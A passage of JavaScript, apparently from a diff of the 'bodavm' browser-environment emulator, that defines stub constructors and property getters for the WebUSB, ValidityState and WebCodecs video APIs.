bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "serialNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "configuration", {configurable:true, enumerable:true, get:function configuration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configuration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "configurations", {configurable:true, enumerable:true, get:function configurations (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "configurations_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "opened", {configurable:true, enumerable:true, get:function opened (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "opened_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "claimInterface", {configurable:true, enumerable:true, writable:true, value:function claimInterface (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "claimInterface", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "clearHalt", {configurable:true, enumerable:true, writable:true, value:function clearHalt (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "clearHalt", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferIn", {configurable:true, enumerable:true, writable:true, value:function controlTransferIn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferIn", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "controlTransferOut", {configurable:true, enumerable:true, writable:true, value:function controlTransferOut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "controlTransferOut", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "forget", {configurable:true, enumerable:true, writable:true, value:function forget (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "forget", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferIn", {configurable:true, enumerable:true, writable:true, value:function isochronousTransferIn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferIn", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "isochronousTransferOut", {configurable:true, enumerable:true, writable:true, value:function isochronousTransferOut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "isochronousTransferOut", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "open", {configurable:true, enumerable:true, writable:true, value:function open (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "open", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "releaseInterface", {configurable:true, enumerable:true, writable:true, value:function releaseInterface (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "releaseInterface", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "selectAlternateInterface", {configurable:true, enumerable:true, writable:true, value:function selectAlternateInterface (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectAlternateInterface", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "selectConfiguration", {configurable:true, enumerable:true, writable:true, value:function selectConfiguration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "selectConfiguration", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "transferIn", {configurable:true, enumerable:true, writable:true, value:function transferIn (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferIn", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('USBDevice', "transferOut", {configurable:true, enumerable:true, writable:true, value:function transferOut (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBDevice'].prototype, "USBDevice", "transferOut", arguments)}},'prototype'); - -// USBEndpoint对象 -bodavm.memory.globalobj['USBEndpoint'] = function USBEndpoint(){if (!(this instanceof USBEndpoint)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBEndpoint': 3 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBEndpoint'], "USBEndpoint"); -bodavm.toolsFunc.defineProperty('USBEndpoint', "endpointNumber", {configurable:true, enumerable:true, get:function endpointNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "endpointNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBEndpoint', "direction", {configurable:true, enumerable:true, get:function direction (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "direction_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBEndpoint', "type", {configurable:true, enumerable:true, get:function type (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "type_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBEndpoint', "packetSize", {configurable:true, enumerable:true, get:function packetSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBEndpoint'].prototype, "USBEndpoint", "packetSize_get", arguments)}, set:undefined},'prototype'); - -// USBInterface对象 -bodavm.memory.globalobj['USBInterface'] = function USBInterface(){if (!(this instanceof USBInterface)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInterface': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInterface'], "USBInterface"); -bodavm.toolsFunc.defineProperty('USBInterface', "interfaceNumber", {configurable:true, enumerable:true, get:function interfaceNumber (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "interfaceNumber_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInterface', "alternate", {configurable:true, enumerable:true, get:function alternate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternate_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInterface', "alternates", {configurable:true, enumerable:true, get:function alternates (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "alternates_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInterface', "claimed", {configurable:true, enumerable:true, get:function claimed (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInterface'].prototype, "USBInterface", "claimed_get", arguments)}, set:undefined},'prototype'); - -// USBInTransferResult对象 -bodavm.memory.globalobj['USBInTransferResult'] = function USBInTransferResult(){if (!(this instanceof USBInTransferResult)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBInTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBInTransferResult'], "USBInTransferResult"); -bodavm.toolsFunc.defineProperty('USBInTransferResult', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBInTransferResult', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBInTransferResult'].prototype, "USBInTransferResult", "status_get", arguments)}, set:undefined},'prototype'); - -// USBIsochronousInTransferPacket对象 -bodavm.memory.globalobj['USBIsochronousInTransferPacket'] = function USBIsochronousInTransferPacket(){if (!(this instanceof USBIsochronousInTransferPacket)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferPacket': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferPacket'], "USBIsochronousInTransferPacket"); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "status_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferPacket', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferPacket'].prototype, "USBIsochronousInTransferPacket", "data_get", arguments)}, set:undefined},'prototype'); - -// USBIsochronousInTransferResult对象 -bodavm.memory.globalobj['USBIsochronousInTransferResult'] = function USBIsochronousInTransferResult(){if (!(this instanceof USBIsochronousInTransferResult)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousInTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousInTransferResult'], "USBIsochronousInTransferResult"); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "data", {configurable:true, enumerable:true, get:function data (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "data_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBIsochronousInTransferResult', "packets", {configurable:true, enumerable:true, get:function packets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousInTransferResult'].prototype, "USBIsochronousInTransferResult", "packets_get", arguments)}, set:undefined},'prototype'); - -// USBIsochronousOutTransferPacket对象 -bodavm.memory.globalobj['USBIsochronousOutTransferPacket'] = function USBIsochronousOutTransferPacket(){if (!(this instanceof USBIsochronousOutTransferPacket)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferPacket': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferPacket'], "USBIsochronousOutTransferPacket"); -bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "bytesWritten", {configurable:true, enumerable:true, get:function bytesWritten (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "bytesWritten_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferPacket', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferPacket'].prototype, "USBIsochronousOutTransferPacket", "status_get", arguments)}, set:undefined},'prototype'); - -// USBIsochronousOutTransferResult对象 -bodavm.memory.globalobj['USBIsochronousOutTransferResult'] = function USBIsochronousOutTransferResult(){if (!(this instanceof USBIsochronousOutTransferResult)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBIsochronousOutTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBIsochronousOutTransferResult'], "USBIsochronousOutTransferResult"); -bodavm.toolsFunc.defineProperty('USBIsochronousOutTransferResult', "packets", {configurable:true, enumerable:true, get:function packets (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBIsochronousOutTransferResult'].prototype, "USBIsochronousOutTransferResult", "packets_get", arguments)}, set:undefined},'prototype'); - -// USBOutTransferResult对象 -bodavm.memory.globalobj['USBOutTransferResult'] = function USBOutTransferResult(){if (!(this instanceof USBOutTransferResult)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'USBOutTransferResult': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['USBOutTransferResult'], "USBOutTransferResult"); -bodavm.toolsFunc.defineProperty('USBOutTransferResult', "bytesWritten", {configurable:true, enumerable:true, get:function bytesWritten (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "bytesWritten_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('USBOutTransferResult', "status", {configurable:true, enumerable:true, get:function status (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['USBOutTransferResult'].prototype, "USBOutTransferResult", "status_get", arguments)}, set:undefined},'prototype'); - -// UserActivation对象 -bodavm.memory.globalobj['UserActivation'] = function UserActivation(){if (!(this instanceof UserActivation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['UserActivation'], "UserActivation"); -bodavm.toolsFunc.defineProperty('UserActivation', "hasBeenActive", {configurable:true, enumerable:true, get:function hasBeenActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "hasBeenActive_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('UserActivation', "isActive", {configurable:true, enumerable:true, get:function isActive (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['UserActivation'].prototype, "UserActivation", "isActive_get", arguments)}, set:undefined},'prototype'); - -// ValidityState对象 -bodavm.memory.globalobj['ValidityState'] = function ValidityState(){if (!(this instanceof ValidityState)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['ValidityState'], "ValidityState"); -bodavm.toolsFunc.defineProperty('ValidityState', "valueMissing", {configurable:true, enumerable:true, get:function valueMissing (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valueMissing_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "typeMismatch", {configurable:true, enumerable:true, get:function typeMismatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "typeMismatch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "patternMismatch", {configurable:true, enumerable:true, get:function patternMismatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "patternMismatch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "tooLong", {configurable:true, enumerable:true, get:function tooLong (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooLong_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "tooShort", {configurable:true, enumerable:true, get:function tooShort (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "tooShort_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "rangeUnderflow", {configurable:true, enumerable:true, get:function rangeUnderflow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeUnderflow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "rangeOverflow", {configurable:true, enumerable:true, get:function rangeOverflow (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "rangeOverflow_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "stepMismatch", {configurable:true, enumerable:true, get:function stepMismatch (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "stepMismatch_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "badInput", {configurable:true, enumerable:true, get:function badInput (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "badInput_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "customError", {configurable:true, enumerable:true, get:function customError (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "customError_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('ValidityState', "valid", {configurable:true, enumerable:true, get:function valid (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['ValidityState'].prototype, "ValidityState", "valid_get", arguments)}, set:undefined},'prototype'); - -// VideoColorSpace对象 -bodavm.memory.globalobj['VideoColorSpace'] = function VideoColorSpace(){this._boarg= new bodaobj.window.VideoColorSpace();this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoColorSpace'], "VideoColorSpace"); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "primaries", {configurable:true, enumerable:true, get:function primaries (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "primaries_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "transfer", {configurable:true, enumerable:true, get:function transfer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "transfer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "matrix", {configurable:true, enumerable:true, get:function matrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "matrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "fullRange", {configurable:true, enumerable:true, get:function fullRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "fullRange_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoColorSpace', "toJSON", {configurable:true, enumerable:true, writable:true, value:function toJSON (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoColorSpace'].prototype, "VideoColorSpace", "toJSON", arguments)}},'prototype'); - -// VideoDecoder对象 -bodavm.memory.globalobj['VideoDecoder'] = function VideoDecoder(){if (!(this instanceof VideoDecoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoDecoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoDecoder'], "VideoDecoder"); -bodavm.memory.globalobj['VideoDecoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VideoDecoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VideoDecoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].undefined, "VideoDecoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('VideoDecoder', "decodeQueueSize", {configurable:true, enumerable:true, get:function decodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "decode", {configurable:true, enumerable:true, writable:true, value:function decode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "decode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoDecoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoDecoder'].prototype, "VideoDecoder", "ondequeue_set", arguments)}},'prototype'); - -// VideoEncoder对象 -bodavm.memory.globalobj['VideoEncoder'] = function VideoEncoder(){if (!(this instanceof VideoEncoder)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoEncoder': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoEncoder'], "VideoEncoder"); -bodavm.memory.globalobj['VideoEncoder'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['VideoEncoder'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('VideoEncoder', "isConfigSupported", {configurable:true, enumerable:true, writable:true, value:function isConfigSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].undefined, "VideoEncoder", "isConfigSupported", arguments)}}); -bodavm.toolsFunc.defineProperty('VideoEncoder', "encodeQueueSize", {configurable:true, enumerable:true, get:function encodeQueueSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encodeQueueSize_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "state", {configurable:true, enumerable:true, get:function state (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "state_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "configure", {configurable:true, enumerable:true, writable:true, value:function configure (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "configure", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "encode", {configurable:true, enumerable:true, writable:true, value:function encode (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "encode", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "flush", {configurable:true, enumerable:true, writable:true, value:function flush (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "flush", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "reset", {configurable:true, enumerable:true, writable:true, value:function reset (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "reset", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoEncoder', "ondequeue", {configurable:true, enumerable:true, get:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_get", arguments)}, set:function ondequeue (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoEncoder'].prototype, "VideoEncoder", "ondequeue_set", arguments)}},'prototype'); - -// VideoFrame对象 -bodavm.memory.globalobj['VideoFrame'] = function VideoFrame(){if (!(this instanceof VideoFrame)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'VideoFrame': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['VideoFrame'], "VideoFrame"); -bodavm.toolsFunc.defineProperty('VideoFrame', "format", {configurable:true, enumerable:true, get:function format (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "format_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "timestamp", {configurable:true, enumerable:true, get:function timestamp (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "timestamp_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "duration", {configurable:true, enumerable:true, get:function duration (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "duration_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "codedWidth", {configurable:true, enumerable:true, get:function codedWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "codedHeight", {configurable:true, enumerable:true, get:function codedHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "codedRect", {configurable:true, enumerable:true, get:function codedRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "codedRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "visibleRect", {configurable:true, enumerable:true, get:function visibleRect (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "visibleRect_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "displayWidth", {configurable:true, enumerable:true, get:function displayWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "displayHeight", {configurable:true, enumerable:true, get:function displayHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "displayHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "colorSpace", {configurable:true, enumerable:true, get:function colorSpace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "colorSpace_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "allocationSize", {configurable:true, enumerable:true, writable:true, value:function allocationSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "allocationSize", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "close", {configurable:true, enumerable:true, writable:true, value:function close (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "close", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('VideoFrame', "copyTo", {configurable:true, enumerable:true, writable:true, value:function copyTo (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['VideoFrame'].prototype, "VideoFrame", "copyTo", arguments)}},'prototype'); - -// VideoPlaybackQuality对象 -bodavm.memory.globalobj['VideoPlaybackQuality'] = function VideoPlaybackQuality(){if (!(this instanceof VideoPlaybackQuality)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} 